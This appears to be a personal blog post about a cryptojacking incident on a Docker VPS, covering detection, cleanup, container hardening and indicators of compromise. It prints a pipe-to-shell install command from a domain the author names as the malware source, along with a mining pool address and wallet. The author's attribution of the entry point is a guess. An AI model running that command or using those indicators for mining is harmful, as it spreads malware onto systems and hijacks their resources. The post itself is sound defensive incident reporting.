My VPS was crypto-jacked after installing an openfang alternative
Three Monero miners ran silently in my Docker container for three days before I noticed. Here is what happened, why it worked, and how to stop it.
01 / trigger: The alert I did not expect
Hostinger sent a CPU limitation alert on my VPS. I SSHed in and ran top. My server was pegging 196% CPU. Nothing obvious in my own apps. Then I checked Docker:
docker exec myapp ls -lah /tmp
Three ELF binaries sitting in /tmp of my Next.js container, owned by the nextjs process user:
-rwxr-xr-x HelloMrMeeseeks 4.9MB Jun 23
-rwxr-xr-x pls_pak_choi 8.3MB Jun 25
-rwxr-xr-x plazooza 8.3MB Jun 26
Monero miners. Three of them. The most recent one dropped the same day I noticed the alert.
The attackers were not sophisticated. They just waited for me to hand them root access.
02 / how-i-opened-the-door: I opened the door myself
Weeks earlier, I had run a few tools on my production server as root:
curl -fsSL https://openfang.sh/install | sh
bash nanoclaw.sh
I also installed shell-bot, a Node.js Telegram bot that executes arbitrary shell commands, directly on my production server as root.
Any one of these was the entry point. I never audited the payloads. I ran them as root. Classic curl | bash supply-chain attack.
openfang.sh installed a systemd service pointing to a binary that never existed:
[Service]
ExecStart=/root/.openfang/bin/openfang start
Restart=always
RestartSec=5
The service restart-looped every 5 seconds, 220+ times. That alone was killing the CPU before the miners even ran.
Never run
curl | shas root on a production server. Not even once.
03 / rce-into-container: How they got inside the container
My app container runs Next.js with next-mdx-remote, MDX files rendered server-side. A host volume mounted content into the container:
volumes:
- admin_links_data:/app/src/content/admin-links
MDX rendered server-side means JavaScript execution. Write access to that volume means arbitrary code execution inside the container as the nextjs user. That is how the miners landed in /tmp.
They ran from June 23 to June 26 before the CPU alert triggered. Three days.
The miners ran under the nextjs user inside the container, but Docker containers share the host kernel, so they showed up in ps aux at host level. Mining pool: 15.235.234.220:3333. Monero wallet: 49V3ssTZ... (full hash in IoCs below).
MDX rendered server-side is arbitrary code execution. Treat that volume like you treat user input.
04 / investigation: What I ran to understand the damage
# Live session check
w
ss -tnp | grep :22
# Check authorized_keys for unexpected entries
cat /root/.ssh/authorized_keys
# Find new systemd services
find /etc/systemd/system/ -newer /var/log/dpkg.log
# Check crontabs
crontab -l
cat /etc/cron.d/*
# Check Docker volume for web shells
ls -la /var/lib/docker/volumes/admin_links_data/_data/
No crontab persistence, no new systemd services beyond openfang. The volume was clean at investigation time. The attacker's RCE file had likely already been removed or was ephemeral.
Clean volume does not mean clean slate. The entry point may be gone but the damage is done.
05 / what-i-fixed: The fixes, in order
Immediate cleanup:
# Kill the miners
docker exec -u root myapp rm -f /tmp/HelloMrMeeseeks /tmp/pls_pak_choi /tmp/plazooza
# Kill openfang
systemctl stop openfang.service && systemctl disable openfang.service
rm -rf /root/.openfang /etc/systemd/system/openfang.service
systemctl daemon-reload
# Remove shell-bot
rm -rf /root/shell-bot
Then I hardened docker-compose.yml. This is the fix that actually prevents re-compromise:
services:
app:
image: your-image
tmpfs:
- /tmp:noexec,nosuid,size=50m # miners can't execute from /tmp
read_only: true # can't write anywhere else
security_opt:
- no-new-privileges:true # no privilege escalation
cap_drop:
- ALL # zero Linux capabilities
mem_limit: 512m # mining needs RAM, cap it
cpus: 1.0 # mining needs CPU, cap it
Even if RCE fires again: the attacker can write to /tmp but cannot execute from it (noexec). Cannot write anywhere else (read_only). Cannot escalate privileges. Cannot mine effectively with 1 CPU and 512 MB.
Harden your containers assuming breach. The goal is to make the breach useless.
06 / checklist: What you should do right now
The root cause was:
- Running
curl | shas root with unknown scripts - Installing a root-shell Telegram bot on a production server
- No resource limits on containers, miners ran uncapped for 3 days
- No
noexecon container/tmp, dropped binaries executed freely - No
fail2ban, SSH brute force was happening in parallel - Running everything as root instead of a dedicated deploy user
If you are running Docker on a VPS, apply this to every container:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
tmpfs:
- /tmp:noexec,nosuid,size=50m
mem_limit: 512m
cpus: 1.0
On the host:
PermitRootLogin noin/etc/sshd_configadduser deploy && usermod -aG docker deploy- Install
fail2ban - Audit
/root/.bash_history. If you see tools you do not recognize, assume compromise.
Indicators of compromise
| Type | Value |
|---|---|
| Miner binary | HelloMrMeeseeks |
| Miner binary | pls_pak_choi |
| Miner binary | plazooza |
| Mining pool | 15.235.234.220:3333 |
| Monero wallet | 49V3ssTZLU4fJh9SaM4aZYb2Yr9qj7MqRDPKLyrc3EpSeRPn8kxb9oLGgN3GyXcuNPGhwnWaJANXQcFJq8ARmLB58dXP9Ux |
| Malware source | openfang.sh |
| Unknown tool | github.com/qwibitai/nanoclaw |